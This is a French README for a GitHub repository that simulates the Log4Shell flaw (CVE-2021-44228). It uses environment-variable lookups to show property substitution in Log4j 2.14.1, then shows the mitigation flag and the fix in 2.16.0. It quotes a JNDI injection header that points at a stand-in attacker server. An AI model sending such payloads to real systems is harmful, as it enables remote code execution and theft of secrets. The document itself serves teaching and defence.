nikolas-charalambidis/cve-2021-44228Une simulation simple du tristement célèbre problème CVE-2021-44228.
Ce dépôt représente une simulation simplifiée du problème tristement célèbre CVE-2021-44228.
Outre les recherches de propriétés système et d'autres structures de type dictionnaire, Apache Log4j implémente également la fonctionnalité de recherche JNDI pour diverses raisons. La JNDI peut obtenir des services auprès d'un certain nombre de fournisseurs de services, tels que LDAP, DNS, le registre Java RMI, etc. La JNDI elle-même est une API simple et non sécurisée qui ne protège pas contre les fournisseurs de services contrôlés par un tiers. Tant que l'attaquant contrôle un serveur accessible publiquement via l'URL malveillante et sait ce qui est journalisé par l'application écoutant sur un port spécifique, il peut abuser du format de journal pour amener l'application à charger et exécuter du code Java arbitraire via une injection JNDI. Cela peut être transmis via des en-têtes de requête couramment journalisés, en texte brut ou sous forme obfusquée.
user-agent: ${jndi:ldap://evilserver.com/payload}
Apache Log4j était vulnérable à l'exécution de code à distance avant la sortie de la version 2.16.0 le 13 décembre, et les auteurs ont tout mon respect pour leur réponse rapide.
Ressources :
La simulation utilise des variables d'environnement au lieu d'un serveur LDAP, et le format de journal prend en charge la substitution de propriétés. Le principe n'est pas différent.
Java 11 et Maven sont requis ; néanmoins, le Maven Wrapper est également inclus dans le dépôt.
Le dépôt GitHub définit un secret de dépôt PASSWORD qui est défini comme variable d'environnement dans le fichier de workflow .github/workflow/ci.yml afin de rendre un secret disponible à une action.
Pour reproduire le problème localement, une variable d'environnement couramment utilisée, JAVA_HOME, peut être utilisée.
Le workflow compile et exécute deux applications avec différentes versions d'Apache Log4j, 2.14.1 et 2.16.0, et voici un exemple d'exécution sur GitHub Actions : Java CI #7.
Cette version est vulnérable à l'attaque. Suivez ces étapes pour la reproduire :
mvn clean install -f log4j-2.14.1
java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
La variable d'environnement apparaît dans le journal :
args[0] = C:\Program Files\Java\jdk-11.0.11
Voici une capture d'écran de l'action GitHub, au cas où l'exécution réelle serait supprimée automatiquement :
Notez que lorsque vous essayez d'afficher des secrets dans le journal, GitHub les occulte automatiquement et les valeurs sont masquées et affichées comme ***.
La propriété a toutefois été substituée.
Une solution de contournement temporaire et partielle est indiquée : ajouter le paramètre JVM -Dlog4j2.formatMsgNoLookups=True ; il est donc nécessaire de redémarrer tous les nœuds de l'application.
mvn clean install -f log4j-2.14.1
java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
Aucune substitution de propriété n'a lieu :
args[0] = ${env:JAVA_HOME:-}
Voici à nouveau une capture d'écran de GitHub Actions :
Le problème a été corrigé dans Log4j 2.12.2 (Java 7) et Log4j 2.16.0 (Java 8) par l'équipe de sécurité Log4j.
mvn clean install -f log4j-2.16.0
java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'
Aucune substitution de propriété n'a lieu :
args[0] = ${env:JAVA_HOME:-}
Voici à nouveau une capture d'écran de GitHub Actions :
